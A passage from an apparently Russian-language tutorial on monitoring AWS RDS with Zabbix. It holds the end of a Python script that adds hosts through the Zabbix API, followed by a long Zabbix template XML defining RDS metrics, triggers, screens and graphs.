                Get_Hosts = zapi.host.get(search={"name": Needed_IP})
                if (len(Get_Hosts)) is 0:
                    #for h in Get_Hosts:
                     add_host_to_zabbix(Needed_IP, Needed_group, Needed_Template)
                     print('Added ', Needed_IP, 'host to zabbix')
                else:
                    #pass
                    print ('The', Needed_IP, 'already exist')
        else:
            add_group_to_zabbix(Needed_group)
            print ('Added the', Needed_group, 'group to zabbix')
            # find needed template
            for Needed_Template in Needed_Templates:
                Get_Templates = zapi.hostgroup.get(filter={"name": Needed_Templates})
                if (len(Get_Templates)) is 0:
                    add_template_to_zabbix()
                    print('Added', Needed_Template, 'template to zabbix')
                else:
                    pass
            for Needed_IP in Needed_IPs:
                Get_Hosts = zapi.host.get(filter={"name": Needed_IP}, output=['hostid', 'host', 'name', 'status'])
                if (len(Get_Hosts)) is 0:
                    add_host_to_zabbix(Needed_IP, Needed_group, Needed_Template)
                    print('Added ', Needed_IP, 'host to zabbix')
                else:
                    pass
    print(bgcolors().colors['OKGREEN'], "============================================================", bgcolors().colors['ENDC'])
    print(bgcolors().colors['OKGREEN'], "==========================FINISHED==========================", bgcolors().colors['ENDC'])
    print(bgcolors().colors['OKGREEN'], "============================================================", bgcolors().colors['ENDC'])

if __name__ == '__main__':
    main()

В теле скрипта нужно изменить некоторые переменные. Я не буду рассказывать что нужно менять, думаю и так очевидно, если нет — то можете написать в комментариях и я помогу с этим.

Создаем темплейт:

# mkdir Zabbix_Templates

Открываем файл:

# vim Zabbix_Templates/Template_AWS_RDS.xml

И вставляем в него:

<?xml version="1.0" encoding="UTF-8"?>
<zabbix_export>
    <version>2.0</version>
    <date>2017-08-18T17:25:33Z</date>
    <groups>
        <group>
            <name>AWS RDS</name>
        </group>
        <group>
            <name>Templates</name>
        </group>
    </groups>
    <templates>
        <template>
            <template>Template_AWS_RDS</template>
            <name>Template_AWS_RDS</name>
            <description>AWS RDS monitoring</description>
            <groups>
                <group>
                    <name>AWS RDS</name>
                </group>
                <group>
                    <name>Templates</name>
                </group>
            </groups>
            <applications>
                <application>
                    <name>RDS</name>
                </application>
            </applications>
            <items>
                <item>
                    <name>RDS::BinLogDiskUsage</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.BinLogDiskUsage.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>B</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The amount of disk space occupied by binary logs on the master. Applies to MySQL read replicas.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::CPUUtilization</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.CPUUtilization.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>%</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The percentage of CPU utilization.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::DatabaseConnections</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.DatabaseConnections.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units/>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The number of database connections in use.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::DiskQueueDepth</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.DiskQueueDepth.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units/>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The number of outstanding IOs (read/write requests) waiting to access the disk.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::FreeableMemory</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.FreeableMemory.Minimum</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>B</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The amount of available random access memory.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::FreeStorageSpace</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.FreeStorageSpace.Minimum</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>B</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The amount of available storage space.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::NetworkReceiveThroughput</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.NetworkReceiveThroughput.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>B/s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The incoming (Receive) network traffic on the DB instance, including both customer database traffic and Amazon RDS traffic used for monitoring and replication.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::NetworkTransmitThroughput</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.NetworkTransmitThroughput.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>B/s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The outgoing (Transmit) network traffic on the DB instance, including both customer database traffic and Amazon RDS traffic used for monitoring and replication.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::ReadIOPS</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.ReadIOPS.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>ops/s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The average number of disk I/O operations per second.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::ReadLatency</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.ReadLatency.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The average amount of time taken per disk I/O operation.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::ReadThroughput</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.ReadThroughput.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>B/s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The average number of bytes read from disk per second.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::ReplicaLag</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.ReplicaLag.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The amount of time a Read Replica DB Instance lags behind the source DB Instance. Applies to MySQL read replicas.&#13;
&#13;
The ReplicaLag metric reports the value of the Seconds_Behind_Master field of the MySQL SHOW SLAVE STATUS command.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::SwapUsage</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.SwapUsage.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>B</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The amount of swap space used on the DB Instance.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::WriteIOPS</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.WriteIOPS.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>ops/s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The average number of disk I/O operations per second.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::WriteLatency</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.WriteLatency.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The average amount of time taken per disk I/O operation.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
                <item>
                    <name>RDS::WriteThroughput</name>
                    <type>2</type>
                    <snmp_community/>
                    <multiplier>0</multiplier>
                    <snmp_oid/>
                    <key>RDS.WriteThroughput.Average</key>
                    <delay>0</delay>
                    <history>15</history>
                    <trends>365</trends>
                    <status>0</status>
                    <value_type>0</value_type>
                    <allowed_hosts/>
                    <units>B/s</units>
                    <delta>0</delta>
                    <snmpv3_contextname/>
                    <snmpv3_securityname/>
                    <snmpv3_securitylevel>0</snmpv3_securitylevel>
                    <snmpv3_authprotocol>0</snmpv3_authprotocol>
                    <snmpv3_authpassphrase/>
                    <snmpv3_privprotocol>0</snmpv3_privprotocol>
                    <snmpv3_privpassphrase/>
                    <formula>1</formula>
                    <delay_flex/>
                    <params/>
                    <ipmi_sensor/>
                    <data_type>0</data_type>
                    <authtype>0</authtype>
                    <username/>
                    <password/>
                    <publickey/>
                    <privatekey/>
                    <port/>
                    <description>The average number of bytes written to disk per second.</description>
                    <inventory_link>0</inventory_link>
                    <applications>
                        <application>
                            <name>RDS</name>
                        </application>
                    </applications>
                    <valuemap/>
                    <logtimefmt/>
                </item>
            </items>
            <discovery_rules/>
            <macros>
                <macro>
                    <macro>{$TH_P2_FREE_STORAGE}</macro>
                    <value>1G</value>
                </macro>
                <macro>
                    <macro>{$TH_P2_LATENCY}</macro>
                    <value>0.2</value>
                </macro>
                <macro>
                    <macro>{$TH_P3_CPU_USAGE}</macro>
                    <value>90</value>
                </macro>
                <macro>
                    <macro>{$TH_P3_FREE_STORAGE}</macro>
                    <value>2G</value>
                </macro>
                <macro>
                    <macro>{$TH_P3_LATENCY}</macro>
                    <value>0.1</value>
                </macro>
                <macro>
                    <macro>{$TH_P4_CPU_USAGE}</macro>
                    <value>85</value>
                </macro>
            </macros>
            <templates/>
            <screens>
                <screen>
                    <name>RDS::Statistics</name>
                    <hsize>2</hsize>
                    <vsize>3</vsize>
                    <screen_items>
                        <screen_item>
                            <resourcetype>0</resourcetype>
                            <width>500</width>
                            <height>100</height>
                            <x>0</x>
                            <y>0</y>
                            <colspan>1</colspan>
                            <rowspan>1</rowspan>
                            <elements>0</elements>
                            <valign>1</valign>
                            <halign>2</halign>
                            <style>0</style>
                            <url/>
                            <dynamic>0</dynamic>
                            <sort_triggers>0</sort_triggers>
                            <resource>
                                <name>RDS::DB Connections</name>
                                <host>Template_AWS_RDS</host>
                            </resource>
                            <max_columns>3</max_columns>
                            <application/>
                        </screen_item>
                        <screen_item>
                            <resourcetype>0</resourcetype>
                            <width>500</width>
                            <height>100</height>
                            <x>1</x>
                            <y>0</y>
                            <colspan>1</colspan>
                            <rowspan>1</rowspan>
                            <elements>0</elements>
                            <valign>1</valign>
                            <halign>1</halign>
                            <style>0</style>
                            <url/>
                            <dynamic>0</dynamic>
                            <sort_triggers>0</sort_triggers>
                            <resource>
                                <name>RDS::Latency</name>
                                <host>Template_AWS_RDS</host>
                            </resource>
                            <max_columns>3</max_columns>
                            <application/>
                        </screen_item>
                        <screen_item>
                            <resourcetype>0</resourcetype>
                            <width>500</width>
                            <height>100</height>
                            <x>0</x>
                            <y>1</y>
                            <colspan>1</colspan>
                            <rowspan>1</rowspan>
                            <elements>0</elements>
                            <valign>1</valign>
                            <halign>2</halign>
                            <style>0</style>
                            <url/>
                            <dynamic>0</dynamic>
                            <sort_triggers>0</sort_triggers>
                            <resource>
                                <name>RDS::Storage Stats</name>
                                <host>Template_AWS_RDS</host>
                            </resource>
                            <max_columns>3</max_columns>
                            <application/>
                        </screen_item>
                        <screen_item>
                            <resourcetype>0</resourcetype>
                            <width>500</width>
                            <height>100</height>
                            <x>1</x>
                            <y>1</y>
                            <colspan>1</colspan>
                            <rowspan>1</rowspan>
                            <elements>0</elements>
                            <valign>1</valign>
                            <halign>1</halign>
                            <style>0</style>
                            <url/>
                            <dynamic>0</dynamic>
                            <sort_triggers>0</sort_triggers>
                            <resource>
                                <name>RDS::System Stats</name>
                                <host>Template_AWS_RDS</host>
                            </resource>
                            <max_columns>3</max_columns>
                            <application/>
                        </screen_item>
                        <screen_item>
                            <resourcetype>0</resourcetype>
                            <width>500</width>
                            <height>100</height>
                            <x>0</x>
                            <y>2</y>
                            <colspan>1</colspan>
                            <rowspan>1</rowspan>
                            <elements>0</elements>
                            <valign>1</valign>
                            <halign>2</halign>
                            <style>0</style>
                            <url/>
                            <dynamic>0</dynamic>
                            <sort_triggers>0</sort_triggers>
                            <resource>
                                <name>RDS::Network Stats</name>
                                <host>Template_AWS_RDS</host>
                            </resource>
                            <max_columns>3</max_columns>
                            <application/>
                        </screen_item>
                        <screen_item>
                            <resourcetype>0</resourcetype>
                            <width>500</width>
                            <height>100</height>
                            <x>1</x>
                            <y>2</y>
                            <colspan>1</colspan>
                            <rowspan>1</rowspan>
                            <elements>0</elements>
                            <valign>1</valign>
                            <halign>1</halign>
                            <style>0</style>
                            <url/>
                            <dynamic>0</dynamic>
                            <sort_triggers>0</sort_triggers>
                            <resource>
                                <name>RDS::IO Stats</name>
                                <host>Template_AWS_RDS</host>
                            </resource>
                            <max_columns>3</max_columns>
                            <application/>
                        </screen_item>
                    </screen_items>
                </screen>
            </screens>
        </template>
    </templates>
    <triggers>
        <trigger>
            <expression>{Template_AWS_RDS:RDS.CPUUtilization.Average.min(#3)}&gt;{$TH_P4_CPU_USAGE} and {Template_AWS_RDS:RDS.CPUUtilization.Average.max(#3)}&lt;{$TH_P3_CPU_USAGE}</expression>
            <name>RDS::High CPU Usage (LV={ITEM.VALUE})</name>
            <url/>
            <status>0</status>
            <priority>2</priority>
            <description/>
            <type>0</type>
            <dependencies/>
        </trigger>
        <trigger>
            <expression>{Template_AWS_RDS:RDS.CPUUtilization.Average.min(#3)}&gt;{$TH_P3_CPU_USAGE}</expression>
            <name>RDS::High CPU Usage (LV={ITEM.VALUE})</name>
            <url/>
            <status>0</status>
            <priority>3</priority>
            <description/>
            <type>0</type>
            <dependencies/>
        </trigger>
        <trigger>
            <expression>{Template_AWS_RDS:RDS.ReadLatency.Average.last()}&gt;{$TH_P3_LATENCY} and {Template_AWS_RDS:RDS.ReadLatency.Average.last()}&lt;{$TH_P2_LATENCY}</expression>
            <name>RDS::High Read Latency (LV={ITEM.VALUE})</name>
            <url/>
            <status>0</status>
            <priority>3</priority>
            <description/>
            <type>0</type>
            <dependencies/>
        </trigger>
        <trigger>
            <expression>{Template_AWS_RDS:RDS.ReadLatency.Average.last()}&gt;{$TH_P2_LATENCY}</expression>
            <name>RDS::High Read Latency (LV={ITEM.VALUE})</name>
            <url/>
            <status>0</status>
            <priority>4</priority>
            <description/>
            <type>0</type>
            <dependencies/>
        </trigger>
        <trigger>
            <expression>{Template_AWS_RDS:RDS.WriteLatency.Average.last()}&gt;{$TH_P2_LATENCY}</expression>
            <name>RDS::High Write Latency (LV={ITEM.VALUE})</name>
            <url/>
            <status>0</status>
            <priority>4</priority>
            <description/>
            <type>0</type>
            <dependencies/>
        </trigger>
        <trigger>
            <expression>{Template_AWS_RDS:RDS.WriteLatency.Average.last()}&gt;{$TH_P3_LATENCY} and {Template_AWS_RDS:RDS.WriteLatency.Average.last()}&lt;{$TH_P2_LATENCY}</expression>
            <name>RDS::High Write Latency (LV={ITEM.VALUE})</name>
            <url/>
            <status>0</status>
            <priority>3</priority>
            <description/>
            <type>0</type>
            <dependencies/>
        </trigger>
        <trigger>
            <expression>{Template_AWS_RDS:RDS.FreeStorageSpace.Minimum.last()}&lt;{$TH_P3_FREE_STORAGE} and {Template_AWS_RDS:RDS.FreeStorageSpace.Minimum.last()}&gt;{$TH_P2_FREE_STORAGE}</expression>
            <name>RDS::Low free storage space (LV={ITEM.VALUE})</name>
            <url/>
            <status>0</status>
            <priority>3</priority>
            <description/>
            <type>0</type>
            <dependencies/>
        </trigger>
        <trigger>
            <expression>{Template_AWS_RDS:RDS.FreeStorageSpace.Minimum.last()}&lt;{$TH_P2_FREE_STORAGE}</expression>
            <name>RDS::Low free storage space (LV={ITEM.VALUE})</name>
            <url/>
            <status>0</status>
            <priority>4</priority>
            <description/>
            <type>0</type>
            <dependencies/>
        </trigger>
    </triggers>
    <graphs>
        <graph>
            <name>RDS::DB Connections</name>
            <width>800</width>
            <height>200</height>
            <yaxismin>0.0000</yaxismin>
            <yaxismax>100.0000</yaxismax>
            <show_work_period>1</show_work_period>
            <show_triggers>1</show_triggers>
            <type>0</type>
            <show_legend>1</show_legend>
            <show_3d>0</show_3d>
            <percent_left>0.0000</percent_left>
            <percent_right>0.0000</percent_right>
            <ymin_type_1>1</ymin_type_1>
            <ymax_type_1>0</ymax_type_1>
            <ymin_item_1>0</ymin_item_1>
            <ymax_item_1>0</ymax_item_1>
            <graph_items>
                <graph_item>
                    <sortorder>0</sortorder>
                    <drawtype>5</drawtype>
                    <color>00C800</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.DatabaseConnections.Average</key>
                    </item>
                </graph_item>
            </graph_items>
        </graph>
        <graph>
            <name>RDS::IO Stats</name>
            <width>800</width>
            <height>200</height>
            <yaxismin>0.0000</yaxismin>
            <yaxismax>100.0000</yaxismax>
            <show_work_period>1</show_work_period>
            <show_triggers>1</show_triggers>
            <type>0</type>
            <show_legend>1</show_legend>
            <show_3d>0</show_3d>
            <percent_left>0.0000</percent_left>
            <percent_right>0.0000</percent_right>
            <ymin_type_1>1</ymin_type_1>
            <ymax_type_1>0</ymax_type_1>
            <ymin_item_1>0</ymin_item_1>
            <ymax_item_1>0</ymax_item_1>
            <graph_items>
                <graph_item>
                    <sortorder>0</sortorder>
                    <drawtype>5</drawtype>
                    <color>00CC00</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.ReadIOPS.Average</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>1</sortorder>
                    <drawtype>5</drawtype>
                    <color>DDDD00</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.WriteIOPS.Average</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>2</sortorder>
                    <drawtype>0</drawtype>
                    <color>CC0000</color>
                    <yaxisside>0</yaxisside>
                    <calc_fnc>7</calc_fnc>
